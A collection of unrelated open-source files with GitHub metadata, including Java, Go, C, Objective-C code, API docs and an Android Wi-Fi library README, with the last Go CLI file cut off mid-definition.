{ "content_hash": "131aba416418b563dc2a85461bda8a79", "timestamp": "", "source": "github", "line_count": 17, "max_line_length": 46, "avg_line_length": 22.823529411764707, "alnum_prop": 0.6984536082474226, "repo_name": "sniemi/SamPy", "id": "5623801d3a03410d961f4756fe65bc67c31c880c", "size": "411", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "sandbox/src1/examples/stock_demo.py", "mode": "33188", "license": "bsd-2-clause", "language": [ { "name": "Batchfile", "bytes": "296" }, { "name": "C", "bytes": "68436" }, { "name": "C++", "bytes": "45956" }, { "name": "CSS", "bytes": "35570" }, { "name": "Fortran", "bytes": "45191" }, { "name": "HTML", "bytes": "107435" }, { "name": "IDL", "bytes": "13651" }, { "name": "JavaScript", "bytes": "25435" }, { "name": "Makefile", "bytes": "26035" }, { "name": "Matlab", "bytes": "1508" }, { "name": "Perl", "bytes": "59198" }, { "name": "PostScript", "bytes": "1403536" }, { "name": "Prolog", "bytes": "16061" }, { "name": "Python", "bytes": "5763358" }, { "name": "R", "bytes": "208346" }, { "name": "Rebol", "bytes": "161" }, { "name": "Roff", "bytes": "73616" }, { "name": "Ruby", "bytes": "2032" }, { "name": "Shell", "bytes": "41512" }, { "name": "Tcl", "bytes": "44150" }, { "name": "TeX", "bytes": "107783" } ], "symlink_target": "" }
--- uid: SolidEdgeFrameworkSupport.BoltHoleCircle.AddMember(System.Object,System.Int32) summary: remarks: syntax: parameters: - id: Object description: Specifies the object to add to the bolt hole circle. - id: Object_Keypoint_Index description: Specifies the keypoint index of the object. ---
{ "content_hash": "1be18e183dc6d5415e06fc8eee5a9104", "timestamp": "", "source": "github", "line_count": 11, "max_line_length": 83, "avg_line_length": 29.181818181818183, "alnum_prop": 0.7258566978193146, "repo_name": "SolidEdgeCommunity/docs", "id": "8a08a596d2a757a280f609b9f778f1b794d28fff", "size": "323", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "docfx_project/apidoc/SolidEdgeFrameworkSupport.BoltHoleCircle.AddMember.md", "mode": "33188", "license": "mit", "language": [ { "name": "Batchfile", "bytes": "38" }, { "name": "C#", "bytes": "5048212" }, { "name": "C++", "bytes": "2265" }, { "name": "CSS", "bytes": "148" }, { "name": "PowerShell", "bytes": "180" }, { "name": "Smalltalk", "bytes": "1996" }, { "name": "Visual Basic", "bytes": "10236277" } ], "symlink_target": "" }
package org.axonframework.messaging.deadletter; import org.axonframework.messaging.Message; import java.util.Optional; /** * An {@link EnqueueDecision} stating a {@link DeadLetter dead letter} should not be enqueued. * * @param <M> An implementation of {@link Message} contained in the {@link DeadLetter dead letter} that is decided on. * @author Steven van Beelen * @since 4.6.0 */ public class DoNotEnqueue<M extends Message<?>> implements EnqueueDecision<M> { @Override public boolean shouldEnqueue() { return false; } @Override public Optional<Throwable> enqueueCause() { return Optional.empty(); } @Override public String toString() { return "DoNotEnqueue{}"; } }
{ "content_hash": "86542a167508756764cdfd04c7f03dba", "timestamp": "", "source": "github", "line_count": 32, "max_line_length": 118, "avg_line_length": 23.21875, "alnum_prop": 0.6837146702557201, "repo_name": "AxonFramework/AxonFramework", "id": "14d9acf160fd90e0e76cbfeed218157f3325dd07", "size": "1349", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "messaging/src/main/java/org/axonframework/messaging/deadletter/DoNotEnqueue.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Java", "bytes": "9480392" } ], "symlink_target": "" }
package ch.zhaw.facerecognition.SVMLib; import java.util.concurrent.ThreadFactory; /** * Make worker threads as daemon thread. When the main thread exits, the worker * threads will exit too. Otherwise, the program will hang when the main * thread finishes. * * @author Haifeng Li */ class SimpleDeamonThreadFactory implements ThreadFactory { public Thread newThread(Runnable r) { Thread t = new Thread(r); t.setDaemon(true); return t; } }
{ "content_hash": "162e7011fd5abb721bbe5e3d9da3f901", "timestamp": "", "source": "github", "line_count": 20, "max_line_length": 79, "avg_line_length": 23.25, "alnum_prop": 0.7290322580645161, "repo_name": "Bin2015/ProjectBin", "id": "f42f29b85545b5f0e90b7f352ba477a7e95d3934", "size": "1218", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "Android-Face-Recognition-SVM-Encryption/app/src/main/java/ch/zhaw/facerecognition/SVMLib/SimpleDeamonThreadFactory.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Java", "bytes": "632014" }, { "name": "Python", "bytes": "5168" } ], "symlink_target": "" }
package org.incode.module.commchannel.integtests.postaladdress; import java.util.SortedSet; import javax.inject.Inject; import com.google.common.eventbus.Subscribe; import org.junit.Before; import org.junit.Test; import org.apache.isis.applib.AbstractSubscriber; import org.apache.isis.applib.annotation.DomainService; import org.apache.isis.applib.annotation.NatureOfService; import org.incode.module.commchannel.dom.impl.channel.CommunicationChannel; import org.incode.module.commchannel.dom.impl.postaladdress.PostalAddress; import org.incode.module.commchannel.dom.impl.postaladdress.PostalAddress_clearGeocode; import org.incode.module.commchannel.fixture.dom.CommChannelDemoObject; import org.incode.module.commchannel.fixture.dom.CommChannelDemoObjectMenu; import org.incode.module.commchannel.fixture.scripts.teardown.CommChannelDemoObjectsTearDownFixture; import org.incode.module.commchannel.integtests.CommChannelModuleIntegTest; import static org.assertj.core.api.Assertions.assertThat; import static org.hamcrest.CoreMatchers.is; import static org.junit.Assume.assumeThat; public class PostalAddress_clearGeocode_IntegTest extends CommChannelModuleIntegTest { @Inject CommChannelDemoObjectMenu commChannelDemoObjectMenu; CommChannelDemoObject fredDemoOwner; PostalAddress postalAddress; PostalAddress_clearGeocode mixinResetGeocode(final PostalAddress postalAddress) { return mixin(PostalAddress_clearGeocode.class, postalAddress); } @Before public void setUpData() throws Exception { fixtureScripts.runFixtureScript(new CommChannelDemoObjectsTearDownFixture(), null); fredDemoOwner = wrap(commChannelDemoObjectMenu).create("Fred"); wrap(mixinNewPostalAddress(fredDemoOwner)).$$( "45", "High Street", "Oxford", null, "OX1", "UK", "Work", "Fred Smith's work", true); final SortedSet<CommunicationChannel> communicationChannels = wrap(mixinCommunicationChannels(fredDemoOwner)).$$(); postalAddress = (PostalAddress) communicationChannels.first(); } public static class ActionImplementationIntegrationTest extends PostalAddress_clearGeocode_IntegTest { @Test public void clear() throws Exception { assumeThat(isInternetReachable(), is(true)); // given assertThat(postalAddress.getGeocodeApiResponseAsJson()).isNotNull(); assertThat(postalAddress.getName()).isEqualTo("45 High St, Oxford OX1, UK"); // when wrap(mixinResetGeocode(postalAddress)).$$(); // then assertThat(postalAddress.getName()).isEqualTo("45, High Stree...ford, OX1, UK"); assertThat(postalAddress.getFormattedAddress()).isNull(); assertThat(postalAddress.getGeocodeApiResponseAsJson()).isNull(); assertThat(postalAddress.getLatLng()).isNull(); assertThat(postalAddress.getPlaceId()).isNull(); assertThat(postalAddress.getAddressComponents()).isNull(); } } public static class RaisesEventIntegrationTest extends PostalAddress_clearGeocode_IntegTest { @DomainService(nature = NatureOfService.DOMAIN) public static class TestSubscriber extends AbstractSubscriber { PostalAddress_clearGeocode.DomainEvent ev; @Subscribe public void on(PostalAddress_clearGeocode.DomainEvent ev) { this.ev = ev; } } @Inject TestSubscriber testSubscriber; @Test public void happy_case() throws Exception { wrap(mixinResetGeocode(postalAddress)).$$(); assertThat(testSubscriber.ev).isNotNull(); } } }
{ "content_hash": "7ce35fe9c2a8e1eb827f0a390f51922b", "timestamp": "", "source": "github", "line_count": 104, "max_line_length": 123, "avg_line_length": 35.90384615384615, "alnum_prop": 0.723888591322978, "repo_name": "incodehq/incode-module-commchannel", "id": "f16569346cfbbe7aad7993036467c4828054e037", "size": "4351", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "integtests/src/test/java/org/incode/module/commchannel/integtests/postaladdress/PostalAddress_clearGeocode_IntegTest.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "CSS", "bytes": "1477" }, { "name": "HTML", "bytes": "11952" }, { "name": "Java", "bytes": "254224" }, { "name": "JavaScript", "bytes": "47" }, { "name": "Shell", "bytes": "3946" } ], "symlink_target": "" }
#ifndef KERN_SYSCALL_H #define KERN_SYSCALL_H /* syscalls will have sys_ as its prefix, some of them will be fake. */ #define sys_none 0 #define sys_exit 1 /* #define sys_fork 2 */ #define sys_read 3 #define sys_write 4 #define sys_open 5 #define sys_close 6 #define sys_wait4 7 /* #define sys_link 9 */ /* #define sys_unlink 10 */ #define sys_chdir 12 #define sys_fchdir 13 #define sys_mknod 14 #define sys_chmod 15 /* #define sys_chown 16 */ #define sys_break 17 #define sys_getfsstat 18 #define sys_getpid 20 #define sys_ptrace 26 #define sys_recvmsg 27 #define sys_sendmsg 28 #define sys_recvfrom 29 #define sys_accept 30 #define sys_getpeername 31 #define sys_getsockname 32 #define sys_access 33 /* It seems no need to support file flags... */ /* #define sys_chflags 34 */ /* #define sys_fchflags 35 */ #define sys_sync 36 #define sys_kill 37 #define sys_getppid 39 #define sys_dup 41 #define sys_pipe 42 #define sys_profil 44 #define sys_ktrace 45 #define sys_sigaction 46 #define sys_sigprocmask 48 #define sys_acct 51 #define sys_sigpending 52 #define sys_sigaltstack 53 #define sys_ioctl 54 #define sys_reboot 55 #define sys_revoke 56 /* And no symbolic links for simplicity. */ /* #define sys_symlink 57 */ /* #define sys_readlink 58 */ #define sys_execve 59 #define sys_umask 60 #define sys_msync 65 #define sys_sbrk 69 #define sys_sstk 70 #define sys_vadvise 72 #define sys_munmap 73 #define sys_mprotect 74 #define sys_madvise 75 #define sys_setitimer 83 #define sys_swapon 85 #define sys_getitimer 86 #define sys_getdtablesize 89 #define sys_dup2 90 #define sys_fcntl 92 #define sys_select 93 #define sys_setpriority 96 /* syscall on networking will be supported in uxxx_net module. */ #define sys_socket 97 #define sys_connect 98 #define sys_getpriority 100 #define sys_sigreturn 103 #define sys_bind 104 #define sys_setsockopt 105 #define sys_listen 106 #define sys_sigsuspend 111 #define sys_vtrace 115 #define sys_gettimeofday 116 #define sys_getrusage 117 #define sys_getsockopt 118 #define sys_resuba 119 #define sys_readv 120 #define sys_writev 121 #define sys_settimeofday 122 #define sys_fchown 123 #define sys_fchmod 124 #define sys_rename 128 #define sys_flock 131 #define sys_mkfifo 132 #define sys_sendto 133 #define sys_socketpair 135 #define sys_mkdir 136 #define sys_rmdir 137 #define sys_utimes 138 #define sys_adjtime 140 #define sys_setsid 147 #define sys_quotactl 148 #define sys_nfssvc 155 #define sys_statfs 157 #define sys_fstatfs 158 #define sys_getfh 161 #define sys_shmsys 171 #define sys_stat 188 #define sys_fstat 189 #define sys_lstat 190 #define sys_getdirentries 196 #define sys_mmap 197 #define sys_lseek 199 #define sys_truncate 200 #define sys_ftruncate 201 /* Prototypes of syscall functions. */ typedef int sys_none(); typedef int sys_exit(); typedef int sys_fork(); typedef int sys_read(); typedef int sys_write(); typedef int sys_open(); typedef int sys_close(); typedef int sys_wait4(); typedef int sys_link(); typedef int sys_unlink(); typedef int sys_chdir(); typedef int sys_fchdir(); typedef int sys_mknod(); typedef int sys_chmod(); typedef int sys_chown(); typedef int sys_break(); typedef int sys_getfsstat(); typedef int sys_getpid(); typedef int sys_ptrace(); typedef int sys_recvmsg(); typedef int sys_sendmsg(); typedef int sys_recvfrom(); typedef int sys_accept(); typedef int sys_getpeername(); typedef int sys_getsockname(); typedef int sys_access(); typedef int sys_chflags(); typedef int sys_fchflags(); typedef int sys_sync(); typedef int sys_kill(); typedef int sys_getppid(); typedef int sys_dup(); typedef int sys_pipe(); typedef int sys_profil(); typedef int sys_ktrace(); typedef int sys_sigaction(); typedef int sys_sigprocmask(); typedef int sys_acct(); typedef int sys_sigpending(); typedef int sys_sigaltstack(); typedef int sys_ioctl(); typedef int sys_reboot(); typedef int sys_revoke(); typedef int sys_symlink(); typedef int sys_readlink(); typedef int sys_execve(); typedef int sys_umask(); typedef int sys_msync(); typedef int sys_sbrk(); typedef int sys_sstk(); typedef int sys_vadvise(); typedef int sys_munmap(); typedef int sys_mprotect(); typedef int sys_madvise(); typedef int sys_setitimer(); typedef int sys_swapon(); typedef int sys_getitimer(); typedef int sys_getdtablesize(); typedef int sys_dup2(); typedef int sys_fcntl(); typedef int sys_select(); typedef int sys_setpriority(); typedef int sys_socket(); typedef int sys_connect(); typedef int sys_getpriority(); typedef int sys_sigreturn(); typedef int sys_bind(); typedef int sys_setsockopt(); typedef int sys_listen(); typedef int sys_sigsuspend(); typedef int sys_vtrace(); typedef int sys_gettimeofday(); typedef int sys_getrusage(); typedef int sys_getsockopt(); typedef int sys_resuba(); typedef int sys_readv(); typedef int sys_writev(); typedef int sys_settimeofday(); typedef int sys_fchown(); typedef int sys_fchmod(); typedef int sys_rename(); typedef int sys_flock(); typedef int sys_mkfifo(); typedef int sys_sendto(); typedef int sys_socketpair(); typedef int sys_mkdir(); typedef int sys_rmdir(); typedef int sys_utimes(); typedef int sys_adjtime(); typedef int sys_setsid(); typedef int sys_quotactl(); typedef int sys_nfssvc(); typedef int sys_statfs(); typedef int sys_fstatfs(); typedef int sys_getfh(); typedef int sys_shmsys(); typedef int sys_stat(); typedef int sys_fstat(); typedef int sys_lstat(); typedef int sys_getdirentries(); typedef int sys_mmap(); typedef int sys_lseek(); typedef int sys_truncate(); typedef int sys_ftruncate(); #endif
{ "content_hash": "891f4468fa140afa997f63cd9fe32193", "timestamp": "", "source": "github", "line_count": 219, "max_line_length": 71, "avg_line_length": 25.63013698630137, "alnum_prop": 0.736326385177267, "repo_name": "AugustusHuang/uxxx", "id": "443102532a2df3a7b3a15ed3bce01c4ec2c7d433", "size": "5613", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "kern/syscall.h", "mode": "33188", "license": "mit", "language": [ { "name": "Assembly", "bytes": "35434" }, { "name": "C", "bytes": "112112" }, { "name": "Makefile", "bytes": "493" } ], "symlink_target": "" }
package com.webfirmframework.wffweb.tag.html.html5.attribute; import com.webfirmframework.wffweb.tag.html.attribute.AttributeNameConstants; import com.webfirmframework.wffweb.tag.html.attribute.core.AbstractAttribute; import com.webfirmframework.wffweb.tag.html.attribute.core.PreIndexedAttributeName; import com.webfirmframework.wffweb.tag.html.html5.identifier.TrackAttributable; import com.webfirmframework.wffweb.tag.html.identifier.BooleanAttribute; /** * {@code <element default> } * * <br> * <i><code>default</code></i> is a boolean attribute which can be used in * <i><code>track</code></i> tag to show the details to the user. * <i><code>default</code></i> in <i><code>track</code></i> enables the track if * the user's preferences do not indicate that another track would be more * appropriate. * * @author WFF * @since 2.1.9 */ public class Default extends AbstractAttribute implements BooleanAttribute, TrackAttributable { private static final long serialVersionUID = 1_0_0L; private static final PreIndexedAttributeName PRE_INDEXED_ATTR_NAME; static { PRE_INDEXED_ATTR_NAME = (PreIndexedAttributeName.DEFAULT); } { super.setPreIndexedAttribute(PRE_INDEXED_ATTR_NAME); init(); } /** * sets the default value as <code>default</code> . If value is not required * then use <code>new Default(null)</code>. * * @since 2.1.9 * @author WFF */ public Default() { setAttributeValue(AttributeNameConstants.DEFAULT); } public Default(final String value) { setAttributeValue(value); } public void setValue(final String value) { setAttributeValue(value); } public String getValue() { return getAttributeValue(); } /** * invokes only once per object * * @since 2.1.9 */ protected void init() { // to override and use this method } }
{ "content_hash": "8c2ad0eaf5e3b239bc00236515924f76", "timestamp": "", "source": "github", "line_count": 72, "max_line_length": 95, "avg_line_length": 27, "alnum_prop": 0.6820987654320988, "repo_name": "webfirmframework/wff", "id": "3e139e67a8df083058cf86eb75c5828155ac5b4e", "size": "2565", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "wffweb-3/src/main/java/com/webfirmframework/wffweb/tag/html/html5/attribute/Default.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Java", "bytes": "12496417" }, { "name": "JavaScript", "bytes": "177409" } ], "symlink_target": "" }
// // PlainEmailResultParser.m // ZXing // // Created by Christian Brunschen on 28/07/2008. #import "PlainEmailResultParser.h" #import "EmailParsedResult.h" @implementation PlainEmailResultParser + (ParsedResult *)parsedResultForString:(NSString *)s { if ([EmailParsedResult looksLikeAnEmailAddress:s]) { EmailParsedResult *result = [[[EmailParsedResult alloc] init] autorelease]; [result setTo:s]; return result; } return nil; } @end
{ "content_hash": "76f014f93fbf194f4f9d48b151e1da4e", "timestamp": "", "source": "github", "line_count": 22, "max_line_length": 79, "avg_line_length": 20.954545454545453, "alnum_prop": 0.7266811279826464, "repo_name": "kragen/zxing", "id": "0f0a226ed4e7870243d823b0b2c505bdfee0abe4", "size": "1058", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "iphone/Classes/PlainEmailResultParser.m", "mode": "33188", "license": "apache-2.0", "language": [], "symlink_target": "" }
/* ---------------------------------------------------------------------------- * This file was automatically generated by SWIG (http://www.swig.org). * Version 2.0.10 * * Do not make changes to this file unless you know what you are doing--modify * the SWIG interface file instead. * ----------------------------------------------------------------------------- */ package com.badlogic.gdx.physics.bullet; import com.badlogic.gdx.math.Vector3; import com.badlogic.gdx.math.Quaternion; import com.badlogic.gdx.math.Matrix3; import com.badlogic.gdx.math.Matrix4; public class AllHitsRayResultCallback extends RayResultCallback { private long swigCPtr; protected AllHitsRayResultCallback(final String className, long cPtr, boolean cMemoryOwn) { super(className, gdxBulletJNI.AllHitsRayResultCallback_SWIGUpcast(cPtr), cMemoryOwn); swigCPtr = cPtr; } protected AllHitsRayResultCallback(long cPtr, boolean cMemoryOwn) { this("AllHitsRayResultCallback", cPtr, cMemoryOwn); construct(); } public static long getCPtr(AllHitsRayResultCallback obj) { return (obj == null) ? 0 : obj.swigCPtr; } @Override protected void finalize() throws Throwable { if (!destroyed) destroy(); super.finalize(); } @Override protected synchronized void delete() { if (swigCPtr != 0) { if (swigCMemOwn) { swigCMemOwn = false; gdxBulletJNI.delete_AllHitsRayResultCallback(swigCPtr); } swigCPtr = 0; } super.delete(); } protected void swigDirectorDisconnect() { swigCMemOwn = false; delete(); } public void swigReleaseOwnership() { swigCMemOwn = false; gdxBulletJNI.AllHitsRayResultCallback_change_ownership(this, swigCPtr, false); } public void swigTakeOwnership() { swigCMemOwn = true; gdxBulletJNI.AllHitsRayResultCallback_change_ownership(this, swigCPtr, true); } public AllHitsRayResultCallback(Vector3 rayFromWorld, Vector3 rayToWorld) { this(gdxBulletJNI.new_AllHitsRayResultCallback(rayFromWorld, rayToWorld), true); gdxBulletJNI.AllHitsRayResultCallback_director_connect(this, swigCPtr, swigCMemOwn, true); } public void setCollisionObjects(SWIGTYPE_p_btAlignedObjectArrayT_btCollisionObject_const_p_t value) { gdxBulletJNI.AllHitsRayResultCallback_collisionObjects_set(swigCPtr, this, SWIGTYPE_p_btAlignedObjectArrayT_btCollisionObject_const_p_t.getCPtr(value)); } public SWIGTYPE_p_btAlignedObjectArrayT_btCollisionObject_const_p_t getCollisionObjects() { long cPtr = gdxBulletJNI.AllHitsRayResultCallback_collisionObjects_get(swigCPtr, this); return (cPtr == 0) ? null : new SWIGTYPE_p_btAlignedObjectArrayT_btCollisionObject_const_p_t(cPtr, false); } public void setRayFromWorld(btVector3 value) { gdxBulletJNI.AllHitsRayResultCallback_rayFromWorld_set(swigCPtr, this, btVector3.getCPtr(value), value); } public btVector3 getRayFromWorld() { long cPtr = gdxBulletJNI.AllHitsRayResultCallback_rayFromWorld_get(swigCPtr, this); return (cPtr == 0) ? null : new btVector3(cPtr, false); } public void setRayToWorld(btVector3 value) { gdxBulletJNI.AllHitsRayResultCallback_rayToWorld_set(swigCPtr, this, btVector3.getCPtr(value), value); } public btVector3 getRayToWorld() { long cPtr = gdxBulletJNI.AllHitsRayResultCallback_rayToWorld_get(swigCPtr, this); return (cPtr == 0) ? null : new btVector3(cPtr, false); } public void setHitNormalWorld(SWIGTYPE_p_btAlignedObjectArrayT_btVector3_t value) { gdxBulletJNI.AllHitsRayResultCallback_hitNormalWorld_set(swigCPtr, this, SWIGTYPE_p_btAlignedObjectArrayT_btVector3_t.getCPtr(value)); } public SWIGTYPE_p_btAlignedObjectArrayT_btVector3_t getHitNormalWorld() { long cPtr = gdxBulletJNI.AllHitsRayResultCallback_hitNormalWorld_get(swigCPtr, this); return (cPtr == 0) ? null : new SWIGTYPE_p_btAlignedObjectArrayT_btVector3_t(cPtr, false); } public void setHitPointWorld(SWIGTYPE_p_btAlignedObjectArrayT_btVector3_t value) { gdxBulletJNI.AllHitsRayResultCallback_hitPointWorld_set(swigCPtr, this, SWIGTYPE_p_btAlignedObjectArrayT_btVector3_t.getCPtr(value)); } public SWIGTYPE_p_btAlignedObjectArrayT_btVector3_t getHitPointWorld() { long cPtr = gdxBulletJNI.AllHitsRayResultCallback_hitPointWorld_get(swigCPtr, this); return (cPtr == 0) ? null : new SWIGTYPE_p_btAlignedObjectArrayT_btVector3_t(cPtr, false); } public void setHitFractions(SWIGTYPE_p_btAlignedObjectArrayT_float_t value) { gdxBulletJNI.AllHitsRayResultCallback_hitFractions_set(swigCPtr, this, SWIGTYPE_p_btAlignedObjectArrayT_float_t.getCPtr(value)); } public SWIGTYPE_p_btAlignedObjectArrayT_float_t getHitFractions() { long cPtr = gdxBulletJNI.AllHitsRayResultCallback_hitFractions_get(swigCPtr, this); return (cPtr == 0) ? null : new SWIGTYPE_p_btAlignedObjectArrayT_float_t(cPtr, false); } public float addSingleResult(LocalRayResult rayResult, boolean normalInWorldSpace) { return (getClass() == AllHitsRayResultCallback.class) ? gdxBulletJNI.AllHitsRayResultCallback_addSingleResult(swigCPtr, this, LocalRayResult.getCPtr(rayResult), rayResult, normalInWorldSpace) : gdxBulletJNI.AllHitsRayResultCallback_addSingleResultSwigExplicitAllHitsRayResultCallback(swigCPtr, this, LocalRayResult.getCPtr(rayResult), rayResult, normalInWorldSpace); } }
{ "content_hash": "00a3447fe32c50b76e24d30466f71902", "timestamp": "", "source": "github", "line_count": 129, "max_line_length": 370, "avg_line_length": 42.12403100775194, "alnum_prop": 0.7313213102686786, "repo_name": "domix/libgdx", "id": "266debc25e961ee28840ae5ee2a2bbc8d25f97ad", "size": "5434", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "extensions/gdx-bullet/jni/swig-src/com/badlogic/gdx/physics/bullet/AllHitsRayResultCallback.java", "mode": "33188", "license": "apache-2.0", "language": [], "symlink_target": "" }
RxWifi ========== This library has been built in order to help us in retrieving the different networks in range of the device providing the result as an `Observable` instead of relying on usual Android's `Receiver` paradigm. **RxWifi is now available on Android-Arsenal** [![Android Arsenal](https://img.shields.io/badge/Android%20Arsenal-RxWifi-green.svg?style=true)](https://android-arsenal.com/details/1/3212) Disclaimer ----------- *RxWifi* is being developed an it is provided as is (please check the [license][license] for further information) Importing ========== Gradle --------- Add the `JitPack` repo to the root `build.gradle` file of your project: ```groovy allprojects { repositories { ... maven { url "https://jitpack.io" } } } ``` Add the RxWifi library between the dependencies of your app ```groovy compile 'com.github.Ennova-IT:RxWifi:1.3.5' ``` Maven -------- Add the `JitPack` repo to your build file ```xml <repositories> <repository> <id>jitpack.io</id> <url>https://jitpack.io</url> </repository> </repositories> ``` Add the dependency ```xml <dependency> <groupId>com.github.Ennova-IT</groupId> <artifactId>RxWifi</artifactId> <version>1.3.5</version> </dependency> ``` Usage ======= The main entry point of the library will provide you with an `Hot Observable` by simply invoking the `static factory method` and passing the `Context` as input parameter. ```java RxWifi.from(context) ``` Alternatively, you can request multiple scans of the available networks, so that you can leverage the network data changes. This method will return a `List<ScanResult>` multiple `times` (once per iteration). ```java RxWifi.from(context, times) ``` **Note**: this command can take up to 10 seconds per scan, so it is running (by default) on a proper `Scheduler` so that it does not block the UI. As a bonus, we added a converter from the `ScanResult` class to a [`WiFiNetwork`][wifinetwork] one so that it is easier to show simpler information to the user ```java ScanResultUtils.toWiFiNetwork(scanResult) ``` Open points ======= * force a new WiFi scanning * further optimizations [license]:https://github.com/Ennova-IT/RxWifi/blob/master/LICENSE.md [wifinetwork]:https://github.com/Ennova-IT/RxWifi/blob/master/rxwifi/src/main/java/it/ennova/rxwifi/WiFiNetwork.java
{ "content_hash": "7f98b485643c84bb3336fe0153f0757a", "timestamp": "", "source": "github", "line_count": 85, "max_line_length": 140, "avg_line_length": 27.41176470588235, "alnum_prop": 0.7223175965665236, "repo_name": "Ennova-IT/RxWifi", "id": "909da6420e48ffb7a9c05026af4d0020671a2f8a", "size": "2330", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "README.md", "mode": "33188", "license": "mit", "language": [ { "name": "Java", "bytes": "19371" } ], "symlink_target": "" }
Lists all characters included in this API key. * __Path:__ ``/account/Characters.xml.aspx`` * __Cache timer:__ 1 hour * __Access mask:__ 0 * __Parameters:__ none ### Sample Response ```xml <result> <rowset name="characters" key="characterID" columns="name,characterID,corporationName,corporationID,allianceID,allianceName,factionID,factionName"> <row name="Hel O'Ween" characterID="1655827332" corporationName="Men On A Mission" corporationID="1226284052" allianceID="0" allianceName="" factionID="0" factionName="" /> </rowset> </result> ``` ### Result Data <table border="1"> <tbody> <tr> <th>Name</th> <th>Data type</th> <th>Description</th> </tr> <tr> <td>name</td> <td>char</td> <td>The name of the character for the requested data</td> </tr> <tr> <td>characterID</td> <td>int</td> <td> The ID of the character for the requested data, from [char/CharacterList](char_characterlist.md). Only for /char/ endpoints. Optional when the API key is only valid for a single character. </td> </tr> <tr> <td>corporationName</td> <td>char</td> <td>The name of the corporation of the character.</td> </tr> <tr> <td>corporationID</td> <td>int</td> <td>The ID of the corporation of the character.</td> </tr> <tr> <td>allianceName</td> <td>char</td> <td>The name of the alliance of the character.</td> </tr> <tr> <td>allianceID</td> <td>int</td> <td>The ID of the alliance of the character.</td> </tr> <tr> <td>factionName</td> <td>char</td> <td>The name of the faction of the character.</td> </tr> <tr> <td>factionID</td> <td>int</td> <td>The ID of the faction of the character.</td> </tr> </tbody> </table>
{ "content_hash": "b32eefd150e31b029e6efe39cc30bb97", "timestamp": "", "source": "github", "line_count": 71, "max_line_length": 180, "avg_line_length": 30.197183098591548, "alnum_prop": 0.5158582089552238, "repo_name": "Regner/eveonline-third-party-documentation", "id": "7c4a95e993897e7652041e3c0dcd92d75abdfefa", "size": "2157", "binary": false, "copies": "3", "ref": "refs/heads/master", "path": "docs/xmlapi/account/account_characters.md", "mode": "33188", "license": "mit", "language": [], "symlink_target": "" }
package main import ( "github.com/bryanl/docli" "github.com/codegangsta/cli" ) func dropletActionCommands() cli.Command { return cli.Command{ Name: "droplet-action", Usage: "droplet action commands", Subcommands: []cli.Command{ dropletChangeKernel(), dropletDisableBackups(), dropletEnableIPv6(), dropletEnablePrivateNetworking(), dropletPasswordReset(), dropletPowerCycle(), dropletPowerOff(), dropletPowerOn(), dropletReboot(), dropletRebuild(), dropletRename(), dropletRestore(), dropletShutdown(), dropletUpgrade(), dropletActionGet(), }, } } func dropletDisableBackups() cli.Command { fn := docli.DropletActionDisableBackups return noArgDropletCommand("disable-backups", "disables backups for droplet", fn) } func dropletReboot() cli.Command { fn := docli.DropletActionReboot return noArgDropletCommand("reboot", "reboot droplet", fn) } func dropletPowerCycle() cli.Command { fn := docli.DropletActionPowerCycle return noArgDropletCommand("power-cycle", "power cyle droplet", fn) } func dropletShutdown() cli.Command { fn := docli.DropletActionShutdown return noArgDropletCommand("shutdown", "shutdown droplet", fn) } func dropletPowerOff() cli.Command { fn := docli.DropletActionPowerOff return noArgDropletCommand("power-off", "power off droplet", fn) } func dropletPowerOn() cli.Command { fn := docli.DropletActionPowerOn return noArgDropletCommand("power-on", "power on droplet", fn) } func dropletPasswordReset() cli.Command { fn := docli.DropletActionPasswordReset return noArgDropletCommand("password-reset", "reset password for droplet", fn) } func dropletEnableIPv6() cli.Command { fn := docli.DropletActionEnableIPv6 return noArgDropletCommand("power-on", "enable ipv6 for droplet", fn) } func dropletEnablePrivateNetworking() cli.Command { fn := docli.DropletActionPasswordReset return noArgDropletCommand("private-networking", "enable private networking for droplet", fn) } func dropletUpgrade() cli.Command { fn := docli.DropletActionUpgrade return noArgDropletCommand("upgrade", "upgrade droplet", fn) } func dropletRestore() cli.Command { return cli.Command{ Name: "restore", Usage: "restore droplet", Flags: []cli.Flag{ cli.IntFlag{ Name: "id", Usage: "droplet id (required)", }, // TODO make this a string, so it can handle slugs cli.IntFlag{ Name: "image", Usage: "image slug or id (required)", }, jsonFlag(), textFlag(), }, Action: docli.DropletActionRestore, } } func dropletResize() cli.Command { return cli.Command{ Name: "resize", Usage: "resize droplet", Flags: []cli.Flag{ cli.IntFlag{ Name: "id", Usage: "droplet id (required)", }, cli.StringFlag{ Name: "size", Usage: "size slug to resize to (required)", }, cli.BoolFlag{ Name: "disk", Usage: "increase disk size", }, jsonFlag(), textFlag(), }, Action: docli.DropletActionResize, } } func dropletRebuild() cli.Command { return cli.Command{ Name: "rebuild", Usage: "rebuild droplet", Flags: []cli.Flag{ cli.IntFlag{ Name: "id", Usage: "droplet id (required)", }, cli.StringFlag{ Name: "image", Usage: "image slug or image id (required)", }, jsonFlag(), textFlag(), }, Action: docli.DropletActionRebuild, } } func dropletRename() cli.Command { return cli.Command{ Name: "rename", Usage: "rename droplet", Flags: []cli.Flag{ cli.IntFlag{ Name: "id", Usage: "droplet id (required)", }, cli.StringFlag{ Name: "name", Usage: "new name for droplet (required)", }, jsonFlag(), textFlag(), }, Action: docli.DropletActionRename, } } func dropletChangeKernel() cli.Command { return cli.Command{ Name: "change-kernel", Usage: "change kernel for droplet", Flags: []cli.Flag{ cli.IntFlag{ Name: "id", Usage: "droplet id (required)", }, cli.IntFlag{ Name: "kernel", Usage: "new kernel for droplet (required)", }, jsonFlag(), textFlag(), }, Action: docli.DropletActionChangeKernel, } } func dropletSnapshot() cli.Command { return cli.Command{ Name: "snapshot", Usage: "snapshot droplet", Flags: []cli.Flag{ cli.IntFlag{ Name: "id", Usage: "droplet id (required)", }, cli.StringFlag{ Name: "name", Usage: "name for 